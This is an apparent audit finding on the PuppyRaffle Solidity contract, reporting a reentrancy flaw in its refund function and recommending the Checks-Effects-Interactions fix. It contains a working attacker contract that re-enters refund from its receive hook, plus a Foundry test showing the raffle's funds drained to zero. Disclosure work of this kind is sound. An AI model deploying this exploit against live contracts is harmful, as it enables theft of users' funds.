Summary
The PuppyRaffle contract is susceptible to a reentrancy attack, and Attacker can repeatedly invoke the refund function before the players array is updated. Thus attacker can repeatedly call the refund function and drain all the funds.
Vulnerability Details
The contract's refund function does not follow the CEI (Checks Effects Interactions) pattern. The contract updates the players array state after the funds are sent to user. Attacker can take the advantage of this external function call to again invoke the refund function and as the state (players array) is not updated, attacker can repeatedly invoke the refund function through the external call.
PoC
AttackPuppyRaffle.sol (src/attack/AttackPuppyRaffle.sol)
pragma solidity 0.7.6;
import { PuppyRaffle } from "../PuppyRaffle.sol";
contract AttackPuppyRaffle {
uint256 public idx;
PuppyRaffle public puppyRaffle;
address public owner;
constructor(address raffle) {
puppyRaffle = PuppyRaffle(raffle);
owner = msg.sender;
}
function refundAttack(uint256 _idx) external {
idx = _idx;
puppyRaffle.refund(_idx);
}
function withdrawLootedEth() external {
require(msg.sender == owner);
(bool success,) = payable(msg.sender).call{value: address(this).balance}("");
require(success);
}
receive() external payable {
try puppyRaffle.refund(idx) {
}
catch {
}
}
}
Test PoC
Include the below test in PuppyRaffleTest.t.sol
Also include the import: import {AttackPuppyRaffle} from "../src/attack/AttackPuppyRaffle.sol";
Run forge test --mt test_AttackerCanDrainAllFunds -vv
function test_AttackerCanDrainAllFunds() public playerEntered {
uint256 START_BALANCE = 10 ether;
address attacker = makeAddr("attacker");
vm.deal(attacker, START_BALANCE);
vm.prank(attacker);
AttackPuppyRaffle attackPuppyRaffle = new AttackPuppyRaffle(address(puppyRaffle));
address[] memory players = new address[](1);
players[0] = address(attackPuppyRaffle);
uint256 attackerBalance = attacker.balance;
console.log("Balance before entering the raffle: ", attackerBalance);
vm.startPrank(attacker);
puppyRaffle.enterRaffle{value: entranceFee}(players);
uint256 idx = 1;
attackPuppyRaffle.refundAttack(idx);
attackPuppyRaffle.withdrawLootedEth();
vm.stopPrank();
uint256 finalAttackerBalance = attacker.balance;
console.log("Balance after entering and getting refund: ", finalAttackerBalance);
assert(finalAttackerBalance > attackerBalance);
assert(address(puppyRaffle).balance == 0);
}
Impact
An attacker can drain all the funds of the PuppyRaffle contract.
Tools Used
Manual Review
Recommendations
Follow CEI pattern
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+ players[playerIndex] = address(0);
payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}
